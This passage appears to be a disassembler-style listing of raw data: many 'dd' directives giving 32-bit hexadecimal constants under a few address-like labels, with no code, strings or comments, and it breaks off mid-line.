0BC01CA94h dd 74080098h, 1B80966Eh, 59C0BF7Ah, 9F9DC0E1h, 0CAED0073h dd 0BAA2145Bh, 0C929A7Ch, 0CCDC6A03h, 0EB7F5C65h, 0C078C03Ah dd 994A8F2h, 87C9123h, 346076CEh, 64CEEEAh, 5E39E5F3h dd 4A007147h, 0D39AF1EFh, 0A0D5D6h, 0B4AD9B37h, 0BCB54E28h dd 0A0F1490h, 0ACCE6484h, 903F690Bh, 0F38100E5h, 68F6B473h dd 58BD49D9h, 0AE0E0777h, 20C34F9Bh, 3BF8A5F4h, 7520F9C5h dd 0B4A1F030h, 0F8B00C36h, 1120056Fh, 42974100h, 0EE239A1Ch dd 0E029D557h, 3F731D83h, 6BE25100h, 0E5E38E34h, 0CEBA0016h dd 0EDE8097Ch, 3F0095A1h, 4B72E22h, 9818AA5h, 230BA301h dd 3773AC10h, 7F8749C0h, 3ED6A627h, 300ADF0h, 1B768DC9h dd 7131EC80h, 0AA162939h, 0EED9C6E4h, 9EF700ABh, 49E1A8D3h dd 0EB2A1F1Ah, 0EF307CADh dd 3F7669D0h, 29CE0741h, 0D76A8723h, 9D2891B9h, 183752h dd 1C9002F4h, 24B08267h, 47A023EAh, 0B3F74007h, 19FC72EBh dd 0CB00607Bh, 0C392610Dh, 79A989h, 145AB8F2h, 0E7CBBCEh dd 618E748h, 0FA4C49A5h, 7C244C48h, 6AFEBC83h, 21729998h dd 7D79850Ah, 46EFB49Ch, 4831F6EFh, 2F807C77h, 47F89F67h dd 16830E00h, 5965E08Fh, 0A5143D6Eh, 0A3CE6982h, 7064EFE8h dd 21CA2900h, 42527694h, 989A0Ch, 0A69BEF3Eh, 0C829E9D4h dd 0B866F3Dh, 83E8A951h, 0B198DB7Dh, 8DDC4462h, 286F6717h dd 0FD15A0B5h, 0B8074E8Ah, 0D9F648BBh, 1EE402E0h, 0A6530368h dd 0DCBAEA93h, 0EDD43103h, 96BCE525h, 690B0011h, 40E1629Fh dd 0DF1E5FD0h, 798032A9h, 64930755h, 16840019h, 0F85E6671h dd 72F6EAA2h, 0D256C14h, 1F03C44h, 32AE360Ah, 0C7FC238Ah dd 633900FEh, 57BA56FBh, 7F008D05h, 0BFA27652h, 0FC6DEF15h dd 0B09A00DAh, 0E9F0D4B4h, 0CA006E55h, 91A1ABDBh, 0A66AF7h dd 187F7212h, 4BE94EE7h, 45D9800h, 7CA8EF6h, 29FA00B7h dd 37ED1293h, 7C03452Bh, 756FA2BEh, 0E9581DAEh, 0AC6A9Ch dd 43E6DF65h, 0F24CED86h, 0DE093Bh, 6402B32h, 34A2CCh dd 3E3FF46Ah, 0F6BAA602h, 0C3A185E3h, 60238DAFh, 11F20085h dd 409652Bh, 6E542CB6h, 94FC3488h, 925051E5h, 0D9180B4h dd 353D9D33h, 98A60C9Fh, 26A1A02Dh, 3E41A360h, 732C49F8h dd 0FFDC3E4Ah, 0CA364200h, 0A77F5A4h, 11F0D156h, 0AD006F18h dd 0BDC188F2h, 2624F0F6h, 0E60096EDh, 0BA04E8E7h, 0A1FCA4EEh dd 789DA895h, 243A006Dh, 7FD6028Eh, 8F5DE603h, 809DDB2Dh dd 6037BC70h, 728961E9h, 0F5489666h, 0ECF9CA04h, 10FC75E0h dd 0F1BC6069h, 0F572D89h, 0B0BA6600h, 6BCB1D0Ah, 96ED00EEh dd 80DABE54h, 6467C6DFh, 2033EFF8h, 0B97128A1h, 98590058h dd 0CF5F1BC3h, 30E9423h, 8FF09FF3h, 6381A12Dh, 8C5DD025h dd 84616FC9h, 0C1904403h, 118AB873h, 80BCB09Ch, 10C5A0A4h dd 97CF638h, 46198F60h, 0ACA38Bh, 72BBC4CBh, 4EC0694Ch dd 0F8AF8500h, 0D9DFB1B6h, 31A3679Bh, 321E905Bh, 887F827Dh dd 0B0190800h, 75F8F6F7h, 297B312Fh, 87A2EE0h, 393092F2h dd 84001816h, 0BF9CA5D3h, 112BB6D5h, 150014A4h, 1DA51A99h dd 0D60B01E8h, 592D225Ah, 0E77C2051h, 0B79222h, 0B23C7BF2h dd 670F49AAh, 0A871C00h, 42EF8932h, 30A80FD4h, 6C83D274h dd 96D85C5Ah, 69C09EB9h, 0FD592125h, 0E27453h, 0AB1DB577h dd 0CDBD5E8h, 82DC2C00h, 0DAE6F6EAh, 0F7BF0169h, 5510D140h dd 6D2D0B9h, 116F4CF0h, 0E33FE008h, 3DC5E0h, 0B053DEE5h dd 4901F450h, 36BA3Bh, 0D008E2EFh, 6432E10h, 305E2B8Fh dd 830048CBh, 0C63A9B1h, 558B34Eh, 331CA63Ch, 258B0088h dd 2D77C7D5h, 43046C00h, 0D9E2E502h, 0E6AA017Ah, 3834FC09h dd 77898667h, 505922D0h, 354D3h, 1A388E96h, 0EC87C3B4h dd 2BB9CC00h, 0B173E788h, 441D1786h, 0B64307B3h, 3D10F193h dd 417EDBD2h, 9CFF6E00h, 68133AD6h, 6CE2B3h, 8192843h dd 0D3C6C126h, 8C1E8601h, 0B9DE0158h, 0D2900ECFh, 3BE090D5h dd 0DCF7F959h, 54CAA001h, 0DD6B0533h, 783FE3F7h, 0F9C50028h dd 78D84C64h, 0A5F48BB7h, 1F3CE100h, 7111E3E9h, 365215C1h dd 0B6228081h, 3366DF03h, 0D9F286BCh, 6BEC0208h, 0DD7F05DEh dd 634FCA0Bh, 28D8E6E0h, 0BA1C545Dh, 0E1453687h, 602331BBh dd 3416D06Bh, 0AC5A5439h, 0C049032h, 80C808E0h, 0E8452681h dd 7C94A9F0h, 7B5007B8h, 0C71DA2C9h, 545293E4h, 395FE118h dd 310608h, 81507C64h, 0CD4BA2FDh, 60B9EA3Ch, 71120A29h dd 6A40753h, 1335AA91h, 89007D4Ch, 0B144D85Dh, 41E80Eh dd 59BED31Ah, 2667775Fh, 9645AE00h, 943AE2E9h, 0F25A0CEBh dd 2579345Eh, 7CCAC00h, 33051BD4h, 1617B8BAh, 1E2384B4h dd 0D23EDD12h, 5F787053h, 380CB2Ah, 0EF3924DBh, 17EC0027h dd 574813BFh, 2A295100h, 2D36BE4Bh, 2C1E471h, 3484E669h dd 556126E7h, 0B5D2F021h, 66002892h, 0E8CFDAB8h, 247CC598h dd 0C0831E2h, 0DFE9825Ah, 0DA0017ECh, 0D4FE27A8h, 0EE3ACAEFh dd 76B2F245h, 22EB0F36h, 9CF5B9C1h, 569A8103h, 64B99776h dd 0A0827C8h, 8435D478h, 89BAD38Ch, 0DA0B0043h, 784D07AEh dd 0C800635Bh, 24A2F3DEh, 0C0CCD217h, 8E2E4C29h, 2A0016D1h dd 9DC70EFAh, 3E581D17h, 98098A02h, 8831A734h, 8048D2B9h dd 587CDFA0h, 6B5A2F00h, 6111B1B3h, 41798E7h, 9C79D9BDh dd 5510CC4Eh, 79C2B431h, 8C40CB68h, 247AFB66h, 8738E7DEh dd 801007B9h, 0ACC7B233h, 0FA5CE201h, 56D2D743h, 50FFB901h dd 4CB77A8Ch, 8B81A800h, 53CC1103h, 0DFB4A8CAh, 73F870h dd 7244B742h, 69E89B80h, 0DC32CA0Eh, 5F4EC485h, 3222088h dd 963DA8C5h, 0F8985746h, 0FF14336Ch, 0AE07929h, 0B8143EEEh dd 4EF6B906h, 365F3081h, 29FEF941h, 1B48A224h, 0BED07400h dd 0B8BD8F78h, 65A00503h, 450D25Fh, 80A90DF0h, 62C53224h dd 59931C0Eh, 0E7E1E434h, 0A2AC3480h, 77C11221h, 48AC207Ch dd 20927A5Bh, 26B023E9h, 0F000B844h, 9855513Dh, 0BC360328h dd 0B9BE69E7h, 303A9CEh, 6F8F59EDh, 515BD017h, 78611E98h dd 3B0C8405h, 0E6D8D006h, 700E0DBh, 51E29D20h, 3E3A1E39h dd 13780C22h, 33EA6D2h, 0CAF15F18h, 1D3F9839h, 3EFE021Fh dd 0DB3B802Ah, 0C9EF1A4Ch, 0B17B00EBh, 2130FBD3h, 5524D2D5h dd 0DB6500BFh, 463E420h, 67010197h, 0C29F6A30h, 0C0182411h dd 50BACF44h, 545F68F4h, 0F68C3Bh, 38F57CFDh, 0B92F09FAh dd 0A8D53614h, 509976B0h, 83E7F300h, 71EBD7h, 0F1AA23A2h dd 3C920A6Ah, 0AC5C4C2Ah, 44A66600h, 99A1B761h, 108498F2h dd 24C29Dh, 0E867BE1Ah, 28E03365h, 1C4BFBh, 0CB8BA5Bh dd 0A1C56430h, 13A83A52h, 30402F5Fh, 368ADCFCh, 0ACDE029Bh dd 0FF9122A0h, 0B48BC057h, 411A1FFEh, 0D1D8B038h, 3403E006h dd 78B8DC55h, 4CC3BF31h, 0D6710083h, 8C9E7690h, 6A00C36Dh dd 2829A4E3h, 0EA703327h, 125893BEh, 0A5B0066Ah, 0D604C8AEh dd 3237C534h, 0DC8C80C4h, 1EFE00C8h, 0D0FD7E8Dh, 340586ADh dd 0CD22AEEDh, 7FBA2C80h, 59060063h, 0B2E76AE5h, 744D1D26h dd 0AD187E88h, 0DE706836h, 877270h, 0BADFE7EDh, 0DA41C86Bh dd 17283552h, 6B138B84h, 4B9BFB00h, 0A18575h, 51AE44E8h dd 10C61BAAh, 3626A200h, 81B99A76h, 5180A86Eh, 7909837h dd 3D474E66h, 4335C0E1h, 0F8A271A4h, 0F6A09C46h, 33721B44h dd 0DE704906h, 0F0DF82h, 2E0EC1B3h, 0FCB23AEAh, 963D2891h dd 49187055h, 143E7F7Ch, 945E32A3h, 92CEE980h, 2A00E677h dd 0D40DF0F6h, 24C6D51h, 0DBE72CCCh, 5444BAEAh, 0A1490500h dd 0DAF1B897h, 9F96001Ch, 87E308C1h, 0B8B82BEFh, 4457CA44h dd 0F600397Dh, 4BB510B2h, 8E9C43h, 940F9B1Bh, 0A5D8FC44h dd 612BC02h, 0C4B25532h, 90BA1A3Ch, 0E86079FBh, 6B4812A3h dd 4F4D0088h, 997DC125h, 583F00F5h, 51B76DABh, 5BE8B813h dd 66BAFA00h, 0AC483EAEh, 0E5602CD9h, 4B9A1349h, 0A78004C8h dd 0E30BB030h, 27204C98h, 24E001CBh, 0F44D15DAh, 1EB822BAh dd 728FF3C9h, 0ECA360F9h, 31D8E87h, 0FBCF94D6h, 0D9C89931h dd 0F13069E3h, 0F34068B3h, 0B9A6040Eh, 0C099584Bh, 3AD37797h dd 0D543BCA8h, 0EDE9150Fh dd 0EDE58F32h, 0EAC0F9B3h, 0FDFCE2h, 911EE7C0h, 0B71BD846h dd 0A0F80517h, 3AFD0Fh, 31C4959Eh, 0FB10001Eh, 0A6CDFE6Ch dd 49C0B7D1h, 0D9E63376h, 0B01C0049h, 57D6AB8h, 0C4FCF2CBh dd 4CC15906h, 3A83997h, 51FBE9FAh, 19258834h, 20282FD1h dd 7E7F32F7h, 0D9C50157h, 7AFF3AD8h, 4B8C2060h, 552FED01h dd 0E5D19A8Eh, 0D8737C50h, 4894FE4Dh, 8A00FC2Bh, 0E544E783h dd 8E1C4B0Ah, 0E4C724DDh, 3A206F9Ah, 50872820h, 495A0C7Bh dd 103E2084h, 0A1E2B000h, 70166E8Bh, 7B0067FEh, 0B56B3713h dd 4D32C2D9h, 0B9186CBDh, 2FD239FBh, 76DBA00h, 116886E7h dd 0BE03357Bh, 55D585D8h, 5D80B050h, 0C1E267B6h, 58DD8401h dd 0D308AB5Eh, 6F393088h, 3086778Bh, 92FA4C64h, 95644D4h dd 0CD75BC00h, 3E7E6F77h, 7C417DE3h, 985002DFh, 0BB0BDE4Dh dd 0EB9DC48h, 0CB15577h, 69774C0Ch, 6CDD01C3h, 0B3F3AE0Bh dd 2D5D603Fh, 4D19E100h, 0C20EB1BAh, 0E0571D2Fh, 71BD290h dd 3511D2F2h, 78A00869h, 994C5787h, 8DE3B2F0h, 0B802005Dh dd 185BA0A7h, 0F531B907h, 8655B9FCh, 0FB0A6863h, 82AC698Ah dd 18FB947h, 0AB815522h, 14C0980h, 3C6607E8h, 8100BC63h dd 2164F37Dh, 0B84C93E3h, 0DD90248h, 80566B1Ch, 5F69DE9Ch dd 1249C037h, 0AC9DBF3h, 960973Ch, 80B0C870h, 980748A0h dd 20C14A2Ch, 3CBC51BCh, 7AD77900h, 4C18E6CCh, 16F5132Ch dd 5FC80F24h, 35E959F8h, 727FBB00h, 368142EDh, 0BDF331A3h dd 1558EEF8h, 4F039C8Ch, 334DF049h, 8E0EBC90h, 841E3C3Bh dd 0E4C0C7DCh, 48BA520Bh, 37842407h, 20FD2276h, 27B07001h dd 61DA0501h, 0BDE5EABCh, 336891h, 0D1CA9EB1h, 484B4665h dd 241E697Bh, 49664039h, 535CB199h, 0BB34C950h, 705422h dd 0A1AA58Fh, 0B91BADDAh, 0E6475C96h, 4000C024h, 0D9BC8618h dd 0DAFC44FAh, 78772F0Ch, 37358132h, 0A7517441h, 427C90E7h dd 0AF04939Fh, 0C8683A48h, 6DA234D0h, 85FB3D84h, 12610179h dd 0B347757Ah, 0B29D306Ah, 0EB022FE8h, 319A3E42h, 15D8E5h dd 0F3D90903h, 0D487812Bh, 0FD643701h, 0E483B311h, 84B92C60h dd 36147700h, 922CAF7h, 68D300FEh, 0A9731DF6h, 0DC0031A4h dd 98E67DBAh, 0A4D633D9h, 0E7F24B4h, 4C761D77h, 0EED1205Ah dd 6F039D7Bh, 5DF36A19h, 5CEB8CDh, 55F93E7Ah, 46B38300h dd 4EEA189Ch, 80B9DE24h, 0BC954F41h, 0D400EA47h, 0A34E632h dd 3D5EC72Ah, 0EEFA879Ch, 99540F7h, 7F028732h, 0EDEAE7BBh dd 0FC1048E2h, 44008651h, 93C0AF34h, 0B89F6CE9h, 0A0BFF63Ah dd 21ED308h, 56B24BC7h, 1C83BB53h, 7D8B6EC1h, 36DC92FDh dd 0E2738100h, 0BA64933Fh, 42CF784Ch, 20C30DA2h, 0B3223850h dd 675EB0C4h, 809FE957h, 0A15638A3h, 56C8200h, 1D767889h dd 676301F5h, 0B8349E2Ah, 0E168FCE7h, 0DF440500h, 0A25A5D51h dd 60D2EA47h, 6AE359CEh, 2B071EECh, 10CBFD2Eh, 5D99B660h dd 7F770933h, 8C48BADDh, 63002C4Dh, 0D34CCE16h, 12B8FC6Ah dd 0D05FE38Dh, 1D4A51F8h, 41008073h, 0AF24F412h, 174DE61Fh dd 20DEE4D3h, 84C29E6Ch, 931D004h, 0D0F4D578h, 99AB60D3h dd 3C2E1E72h, 1F434F00h, 2DD07E19h, 29D00EAh, 70DD7779h dd 0BA294481h, 863EA0FCh, 7081222h, 4AE811h, 0A586330Ah dd 62C5773Ch, 42BCF4A8h, 9C9B9600h, 0E772C2A4h, 709402B6h dd 7B78996Fh, 430B10C4h, 8001D974h, 0D6E611E7h, 718EFF5Ah dd 6E80BED4h, 0F90F97E9h, 9E62107h, 4490EDBAh, 482FE16Ah dd 1E0018B1h, 772559F6h, 6E389E53h, 0FAA682E3h, 0E1C4D44Ah dd 0DC33B89Ch, 19C51100h, 967D42E3h, 0CCDF9E0Bh, 8E1803BCh dd 298ED2h, 5D6567EAh, 0C7AF5F58h, 0D9260100h, 1E57DB95h dd 0DF7F2489h, 0F4080968h, 20F3342Fh, 35DDE6C0h, 9C20C14Bh dd 1136D40h, 8EB14DEh, 0DC793A2Eh, 0BF71E41Ah, 0D443A903h dd 0E8E3963Fh, 58DBE58Ch, 0FB80F04Bh, 0BCD59BD1h, 0EB6F5204h dd 1CC0316Eh, 5CD037EEh, 600134FEh, 0BAE89773h, 26843259h dd 1C1280D9h, 68D1A491h, 895C7C60h, 69C6FC5Dh, 0FF2EE17Eh dd 3113BECAh, 12A01C54h, 0EC227E77h, 483C52D3h, 48005726h dd 0FD1C9ED0h, 824AEF69h, 0B76BF401h, 40284746h, 3922A848h dd 115AD711h, 5CBE8A0Fh, 0EDE2D1E0h, 0E800F5CEh, 9EF16E38h dd 349DAAB1h, 0C75029FEh, 8444E8FCh, 765FCA40h, 0D300C518h dd 89A57EA8h, 130749E5h, 449DF315h, 32520834h, 0FCE4D3h dd 0BCFF0E5Bh, 0F185C112h, 81DF6D12h, 85420409h, 9827B693h dd 0D25CA4DBh, 4C2E10B4h, 0C40DCB1h, 0FD49057Fh, 0CCE314D1h dd 0A400D8C8h, 0C89798CAh, 0DC0F83h, 3704E620h, 771BDDF0h dd 903AD22Eh, 20C19F64h, 0B472DB6Ah, 8780079h, 0CF97406Fh dd 4400F3E7h, 0C0E00EB3h, 48556E81h, 4C89E4B9h, 0C59C9810h dd 0EE2C1800h, 4161D8EAh, 9E970405h, 88468728h, 0F85ABA80h dd 2738E422h, 9FC5025h, 0CC048214h, 3365C8C4h, 0C60018E2h dd 9E492C8Ch, 0C3092703h, 0C5F5BA34h, 0FECA0FD0h, 84765BC0h dd 3E0F808Dh, 227F3FA3h, 21FBAF42h, 0BEC17B87h, 9A860491h dd 78E45AE2h, 7E9897h, 771FA08h, 3BFB9223h, 38E11701h dd 60959AF7h, 5D0EB439h, 0F140796Ah, 27BECD26h, 76C8E300h dd 0ACFF313Dh, 47371475h, 0CA238402h, 61188027h, 29E528h dd 0E631B14Ah, 6851D542h, 3200DA70h, 72B286BDh, 0A4BE0208h dd 0F4F65CA0h, 2FC086C8h, 28A9367Bh, 5E702608h, 0E50C20BFh dd 302695Fh, 0FF89ED7Fh, 58C0D593h, 0B400F944h, 68F3BB6h dd 2C77C2F4h, 6BC09F1h, 4170EEBAh, 5EB60202h, 43228D4Ah dd 0B06E54B0h, 71B860D3h, 96CD6044h, 8ADDED00h, 0B52AB36Ah dd 63A80F0Ah, 0BD2543EBh, 508885Fh, 4D84A307h, 13614603h dd 90DC3FAAh, 0C8C60008h, 0C7298CE6h, 2DF1757Bh, 0FAF41820h dd 79EE91h, 0DBE79ABEh, 85DDAC35h, 0E8AE8B00h, 0CB0D3DDAh dd 10D13B36h, 0A0413485h, 0FB884808h, 856E5980h, 147C9435h dd 9C0B6536h, 0A1DD121h, 0C27020h, 136F587h, 3E049FABh dd 0EAF9F100h, 0AE0C57C5h, 0FF8013A3h, 7D1488E9h, 44508400h dd 0B52FE099h, 3E877636h, 581C121h, 2AF76A6Bh, 1BC78E8h dd 46075042h, 6430C93Ah, 0A6580081h, 51E0FA39h, 0D807C6BDh dd 71924B7Dh, 0CFD3583h, 0AC80BA11h, 2E0C3229h, 0C1CD5033h dd 0E5BB1352h, 842C1CE2h, 0C58AB42Ch, 35809824h, 31C93630h dd 248D817Dh, 0C38733Eh, 0B1191E5Bh, 17BC7B00h, 5D52A4FFh dd 280B0042h, 0DE0E8983h, 0A72EC015h, 6B404481h, 0B4DBC7A3h dd 956A4058h, 4600C493h, 1150EBCBh, 21E2752Dh, 833F5E32h dd 0C130C552h, 9D4AE0D7h, 0F9E70E94h, 8960B0A1h, 5541A4E6h dd 0B0BDBA2Ah, 0DA179B80h, 69AA0335h, 8D79EC00h, 0A10D526h dd 0D186E1C3h, 0C9380408h, 8804848Fh, 970D32B0h, 3CA2E2E1h dd 1900D022h, 41AC424Eh, 680FF8D6h, 0CCE613ECh, 2EF521B9h dd 24D326h, 76091A82h, 985C23B3h, 0CF02E80h, 8443059Fh dd 0FB436B25h, 0A989888Fh, 0EE9C0066h, 3A9AFEC2h, 7339CAFDh dd 97B08903h, 0C130C8D1h, 11D01F35h, 0DD3807F1h, 7330C09Ah dd 0AA075329h, 0C779DCB8h, 2E6AB5A0h, 0C98202D1h, 92383490h dd 50E1E464h, 0F9204E88h, 0C4E97101h, 0CC0DC326h, 797E5E4h dd 0E3BA3AEDh, 0FD90A0D6h, 0C259711Bh, 55CA0F34h, 5430F3B2h dd 10ABDEEh, 0E2808171h dd 0FE957B29h, 4334C840h, 2009DA24h, 0B32EE80h, 7AAAD6h dd 939B6E5Dh, 0FA846FB0h, 0D4081100h, 0A724D7C8h, 6E0A0046h dd 691C37A0h, 0A60E2173h, 323482A8h, 80014830h, 9EED13B8h dd 22F45D3Eh, 0C7090A00h, 5BB4E820h, 4A602A2h, 2D34C422h dd 7D100479h, 0ED80D780h, 0CC159246h, 6900710h, 0E067526Bh dd 962C0030h, 41278D9Bh, 0B4033F77h, 3A34E3B9h, 3251250Ah dd 0C3558410h, 0C076CD00h, 802D62B5h, 4230035Dh, 7CAAE0CCh dd 6B31D4B0h, 0A527F000h, 0E5094792h, 5A9D278Fh, 0E6564821h dd 0BF5F036h, 20E7D70Fh, 7F84E9Ch, 1ED1285Ch, 0B860BF9Ah dd 883B755Fh, 46060B3h, 4FE7AC58h, 11557431h, 64F7B89Eh dd 0C8C859D8h, 0A7094C0Dh, 0A3570A00h, 176DE079h, 691ECD0Bh dd 12AC66F0h, 208696C6h, 2D02CB0h, 0E2CB87Ch, 69005C89h dd 0E24B5943h, 38331537h, 6A00A4ACh, 0A59F0487h, 0D8A06564h dd 448A3C12h, 192C01F4h, 0C2E77E7Bh, 7C1FD833h, 60DDAB00h dd 0F451B335h, 0EE423E18h, 94C20283h, 8900C31Eh, 0FBA83DFFh dd 17F4183h, 89C7073Ch, 20D9C15Eh, 3094265Ch, 0DDE3BC40h dd 0D4143BFBh, 0ED5E41E0h, 0DA1F1EA7h, 19C0EEC5h, 20849D27h dd 0E66A0066h, 8B6EB068h, 0EA000BD3h, 7F3204F3h, 27972F15h dd 0C0B10209h, 2D5C08EDh, 34188711h, 5789720Eh, 0C9E07D13h dd 0E4019EF2h, 550E3C4Bh, 2AD8F903h, 0CFD120Dh, 8A8CA4D3h dd 0B1378507h, 0B7F02EC5h, 0E09BC910h, 848D1D82h, 0CAA081F4h dd 2CD18CD2h, 8C215FF8h, 682A214Fh, 9801E928h, 845142BDh dd 1820D0E7h, 90671EBh, 684494ADh, 0E8395C64h, 19ACB042h dd 3C33DDE6h, 0E001744Fh, 0B9DACCFBh, 488C62F3h, 48B822C8h dd 0F4846C4Ch, 0EEF683C8h, 0C2FE57E8h, 37110C00h, 0C12C9F89h dd 73860032h, 5B875A3Bh, 0E70057E4h, 2FCB757Ah, 380115h dd 0BB8BFB93h, 5D2B894Ch, 3324C6E4h, 3B1CC8E0h, 0A8BA948Ah dd 0C0FB0700h, 1FA21451h, 0DF2AFFh, 0F6613573h, 3624D290h dd 3D60B8E4h, 71A4FEFh, 71A04752h, 7D7A51A5h, 80942C82h dd 0E5E76B5Ch, 923000CFh, 25B4B586h, 501EBD5h, 0B28B8A9Fh dd 0C5F54E9Ah, 7051F980h, 4F63BBFDh, 8C0B1ECh, 15A492F8h dd 0F60400B0h, 643C8BC3h, 5A002E40h, 0E3868D6h, 60518D36h dd 0A67431B7h, 40C44E1h, 5035CB07h, 19B0F84Eh, 10F62DE4h dd 80AFD9F4h, 23CC5B31h, 3936D5EBh, 780D9A1h, 7E04FF88h dd 0F8308DF2h, 0CE502967h, 38BC6006h, 782E60A7h, 0B656CD06h dd 1F58F8F0h, 806BA24Bh, 511A949Fh, 8A07F12Dh, 6EC88379h dd 50B61370h, 1F899869h, 804C6AD8h, 0C3E566EFh, 88007556h dd 6DB51719h, 2A2E8F8h, 44603955h, 8CA16936h, 0D048D804h dd 0DA01A08Ah, 19C4648Eh, 28C44ABDh, 37CE01CBh, 4ED9AFC9h dd 0BBB88050h, 0E8866739h, 51FF3875h, 0CD85BC86h, 0C609893h dd 0CCC5F9D1h, 3BAC0F01h, 185DEB29h, 7250416Ah, 5D00E1DEh dd 82987C35h, 0F4690AA9h, 80A4B6DEh, 0C068CD52h, 0C8AC359Eh dd 93DB3C00h, 0BCF9E580h, 0CD8B14F3h, 5D1E34F1h, 3C991566h dd 86513110h, 0F8A10ACEh, 19656134h, 8EF13643h, 20C8F691h dd 0FD813CC7h, 5AA6003Bh, 85A7FFCEh, 0EA05BAD8h, 0E64AF36h dd 0CCDB000h, 4D7EE98h, 0BC77A0B3h, 0F0E6C0B2h, 0B7003593h dd 840272F3h, 0FCF6ACDh, 36C04F91h, 0FCC47E81h, 695AF08Eh dd 0C58FD52Eh, 0F4A51400h, 3E28D313h, 0AFA4A15Eh, 0EA23605Ch dd 0B41E1E1Bh, 0EFC3D00Ah, 0F9B25354h, 0A850FEAFh, 0EFD26h dd 0E1850733h, 5C1C4174h, 8B07A5FEh, 0D9F66835h, 0D8E9C420h dd 0CE2E0066h, 0A6AD2F5Ah, 0F37FB79h, 0F0C25243h, 9942C08Dh dd 4E4F290Ah, 0D63F0094h, 0A8A7BD39h, 0EBB13518h, 9B5679h dd 0D8A49C97h, 0D1951601h, 92476800h, 0A826C40h, 771F0h dd 0B5CC79B9h, 4EA85EFCh, 0B6CE3F00h, 6D31120Bh, 0F52C0081h dd 0ACA9D6C5h, 0D2A509Eh, 0D818CC5Eh, 7C894C4Eh, 0B2DA020Ah dd 28A08648h, 891FC543h, 75076EC9h, 477370F6h, 682FD1AEh dd 569239B8h, 3600225Ah, 0BEC60C80h, 0E724D571h, 77416084h dd 0B0DF684Dh, 0C055A097h, 22B7C008h, 4F735F71h, 0AF07B205h dd 0D040BA50h, 2C386C3Ah, 0A22800C9h, 0D849A367h, 0A8EE6611h dd 0A4FD6329h, 0F7735006h, 86D906D9h, 11EF560Fh, 5400707Ch dd 0F99916E1h, 3316FDDh, 7DF6E4F8h, 0E912F5AFh, 0EBF0AA3h dd 6A40B99Eh, 64FE8CF4h, 79C360C4h, 3EDA4480h, 977017h dd 7DB1C5B0h, 0B6D25C57h, 3BE4C167h, 0F83E481Ah, 32B4988Ah dd 1C53018Ch, 505258FBh, 0F8BEABh, 7F8EEA82h, 78E355h dd 0E5F043DBh, 75652BD6h, 4902A60Eh, 0B0299C47h, 0CE3E4E00h dd 0D2D5E8B0h, 3A9609C1h, 82EC010h, 0AEE53Ch, 0D2B10AA1h dd 0BFF21Fh, 0A4A6AFC0h, 508C3CCEh, 0F9009CFEh, 0FB69E56h dd 0F49A898Ah, 0F7C80136h, 5C3A2DECh, 5418E029h, 34B1E3Eh dd 515EAF76h, 4F790157h, 3AB431F4h, 0E7B020A5h, 521DF309h dd 51889075h, 1280A8B5h, 50640046h, 4EAD206Dh, 89373FD0h dd 3672CA98h, 0D9EC806Bh, 61C2B42Eh, 86F45061h, 4E4193B2h dd 0B4E73C20h, 0E47A009Dh, 5CF36C9Ah, 0FB00AA95h, 3428CB16h dd 1E3B8B39h, 55CECA2Eh, 3612E483h, 0CB0212Ah, 0AE442033h dd 43D57800h, 71C28684h, 34D90207h, 2E368B51h, 40C6D761h dd 0EB2B3C20h, 7038BB0h, 0D1AFF4A3h, 365124F2h, 194140ACh dd 6F176698h, 0B80112B7h, 4A0447A8h, 0BC02EC23h, 673E1470h dd 0B65CD081h, 5B499DF1h, 90C0A640h, 0E0ACBC4Fh, 7C9D074Ch dd 0C7556EEDh, 7BA6118h, 51D88A70h, 4140C479h, 0A4C8CC33h dd 0AFE5229Ch, 0EFE9B01Ah, 0E63C6029h, 71AFCC4h, 0D854D285h dd 645843BCh, 0B58C3911h, 5CFEBF02h, 5448AC51h, 0FC1D2B85h dd 4C1D906Ah, 0C8DBF340h, 0C33713h, 69956FA9h, 0E4D491Eh dd 3AD508C4h, 3B08888h, 802A7F39h, 4EC0B343h, 99012003h dd 0DD48A22Dh, 5770EABCh, 872C9175h, 64E9C3BDh, 0BF7C8837h dd 0C7A4484Ch, 6C4AE4B1h, 0B9B4510Ch, 0C69D0774h, 80F395A9h dd 0F280EA09h, 47EEB314h, 5FA0118Ch, 18E6BA11h, 0AF79FC36h dd 78510012h, 0D5EE80B3h, 2300A957h, 59C214B2h, 7236D631h dd 34A80A9Eh, 0E8779Dh, 5C0D29E5h, 0F2002749h, 0C7817CE2h dd 14AE5D24h, 0C0CBB0D8h, 34E788Fh, 74D4B4C0h, 622A922Eh dd 1200703Bh, 1F08B194h, 0E77F3F6h, 91970E25h, 0CEC579C0h dd 8574EAD8h, 3F21CC00h, 0F5761441h, 2A7C003Ch, 9E1767F7h dd 0F41243BFh, 5C428278h, 4057D79Dh, 903D8046h, 8B590170h dd 0CEC62DA7h, 483608B7h, 93C49026h, 38931D96h, 0C0742C23h dd 9D4764D9h, 4C482B78h, 50B70460h, 74D0CC6Bh, 52D5AF40h dd 9480ACFCh, 579C53DEh, 6600A2E6h, 10B02E0Eh, 1D6CCC6h dd 8199D50Dh, 613A7F03h, 51D0204Eh, 59E06B30h, 12B38341h dd 52A89506h, 0B0782054h, 71DD44E7h, 91144071h, 0F28BC008h dd 0C2B49033h, 0B2142672h, 530A002Fh, 0CD838C1h, 0EA5F8C00h dd 0D9A22034h, 0CD74006Ch, 0B68A979Ch, 9D78616Bh, 2E1C471Fh dd 22CBD49Ch, 2C7C88A9h, 0F58C7682h, 0C9EC4B5Fh, 4F00EF37h dd 1E00EE61h, 0A61DCC2Dh, 7FD028h, 0CF982766h, 569EAED9h dd 9015B616h, 0DC138016h, 0CEB01020h, 44A8A4FBh, 4038B69h dd 76D4A96Ah, 0D30DA848h, 0E0853D66h, 813F569Eh, 279AC431h dd 0E298409Eh, 4E8063B0h dd 9B1C052h, 0CF8434B7h, 22ADE50Fh, 0EBF385B3h, 1F08C8Ch dd 0C78034AEh, 48CFB0D7h, 7708FAB4h, 14F0D009h, 1E22C864h dd 0CE50BE1Fh, 0D3D8A933h, 0F971014Bh, 195FC05Eh, 0B2FC70A9h dd 9D442703h, 0D1E069FCh, 0F8208D35h, 434E409Ch, 49C062ECh dd 38C759CBh, 84E30097h, 80F2AC75h, 13283037h, 5358A040h dd 25B68010h, 27DE0Bh, 7B47AA9h, 62229839h, 0B0C4C506h dd 2C94DD5h, 0CB84D9A4h, 98507E5Ch, 60128D10h, 51344E18h dd 0A600BE0Ch, 1B4C56F0h, 1C16DABh, 32D585CDh, 0F5BFFC7Ch dd 31C0E926h, 583298h, 0EEED503Ch, 280A227h, 533342CFh dd 34E0DF2Dh, 91183D5Ch, 7080B1C3h, 2C488488h, 0E1BA846Ch dd 406D70CCh, 0A500A05Fh, 